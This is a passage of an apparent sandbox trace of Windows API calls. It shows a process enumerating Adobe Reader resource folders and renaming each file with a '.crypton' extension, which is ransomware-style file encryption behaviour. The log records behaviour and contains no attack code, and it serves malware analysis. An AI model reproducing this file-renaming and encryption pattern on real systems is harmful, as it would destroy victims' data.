nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0158.667] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\HKSCS.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\hkscs.txt.crypton"), dwFlags=0x2) returned 1 [0158.784] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\Japanese83pv.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\japanese83pv.txt.crypton"), dwFlags=0x2) returned 1 [0158.841] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0208.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0208.txt.crypton"), dwFlags=0x2) returned 1 [0158.934] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\JISX0213.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\jisx0213.txt.crypton"), dwFlags=0x2) returned 1 [0158.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\symbol.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\symbol.txt.crypton"), dwFlags=0x2) returned 1 [0158.952] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Adobe\\zdingbat.txt.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\adobe\\zdingbat.txt.crypton"), dwFlags=0x2) returned 1 [0158.958] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x834450e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdc19c560, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdc19c560, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0158.973] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ARABIC.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\arabic.txt.crypton"), dwFlags=0x2) returned 1 [0158.985] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt.crypton"), dwFlags=0x2) returned 1 [0159.106] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINSIMP.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chinsimp.txt.crypton"), dwFlags=0x2) returned 1 [0159.310] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CHINTRAD.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\chintrad.txt.crypton"), dwFlags=0x2) returned 1 [0159.325] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CORPCHAR.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\corpchar.txt.crypton"), dwFlags=0x2) returned 1 [0159.336] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CROATIAN.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\croatian.txt.crypton"), dwFlags=0x2) returned 1 [0159.347] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CYRILLIC.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\cyrillic.txt.crypton"), dwFlags=0x2) returned 1 [0159.366] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\FARSI.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\farsi.txt.crypton"), dwFlags=0x2) returned 1 [0159.377] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\GREEK.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\greek.txt.crypton"), dwFlags=0x2) returned 1 [0159.393] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\HEBREW.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\hebrew.txt.crypton"), dwFlags=0x2) returned 1 [0159.404] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ICELAND.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\iceland.txt.crypton"), dwFlags=0x2) returned 1 [0159.517] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt.crypton"), dwFlags=0x2) returned 1 [0159.943] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\KOREAN.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\korean.txt.crypton"), dwFlags=0x2) returned 1 [0159.956] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMAN.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\roman.txt.crypton"), dwFlags=0x2) returned 1 [0159.967] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\ROMANIAN.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\romanian.txt.crypton"), dwFlags=0x2) returned 1 [0159.978] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\SYMBOL.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\symbol.txt.crypton"), dwFlags=0x2) returned 1 [0159.989] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\THAI.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\thai.txt.crypton"), dwFlags=0x2) returned 1 [0159.999] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\TURKISH.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\turkish.txt.crypton"), dwFlags=0x2) returned 1 [0160.006] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\UKRAINE.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\ukraine.txt.crypton"), dwFlags=0x2) returned 1 [0160.012] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\*", lpFindFileData=0x4a8d28 | out: lpFindFileData=0x4a8d28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x833608a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdcbba2e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdcbba2e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5498d0 [0160.020] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1250.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1250.txt.crypton"), dwFlags=0x2) returned 1 [0160.038] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt.crypton"), dwFlags=0x2) returned 1 [0160.050] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt.crypton"), dwFlags=0x2) returned 1 [0160.058] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt.crypton"), dwFlags=0x2) returned 1 [0160.066] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt.crypton"), dwFlags=0x2) returned 1 [0160.075] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1255.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt.crypton"), dwFlags=0x2) returned 1 [0160.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt.crypton"), dwFlags=0x2) returned 1 [0160.091] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt.crypton"), dwFlags=0x2) returned 1 [0160.099] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt.crypton"), dwFlags=0x2) returned 1 [0160.107] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt.crypton"), dwFlags=0x2) returned 1 [0160.292] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt.crypton"), dwFlags=0x2) returned 1 [0160.948] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt.crypton"), dwFlags=0x2) returned 1 [0161.252] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt.crypton"), dwFlags=0x2) returned 1 [0161.543] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT.crypton" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt.crypton"), dwFlags=0x2) returned 1 [0161.545] GetFileType (hFile=0x190) returned 0x1 [0161.551] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdda74b00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdda74b00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0161.556] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdda74b00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdda74b00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549810 [0161.557] GetFileInformationByHandle (in: hFile=0x20c, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0161.573] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdda9ac60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdda9ac60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549710 [0161.573] GetFileType (hFile=0x1f0) returned 0x1 [0161.577] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xdda9ac60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xdda9ac60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x39000c35, cFileName=".", cAlternateFileName="")) returned 0x549790 [0161.578] GetFileType (hFile=0x190) returned 0x1 [0161.583] GetFileType (hFile=0x190) returned 0x1 [0161.591] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*", 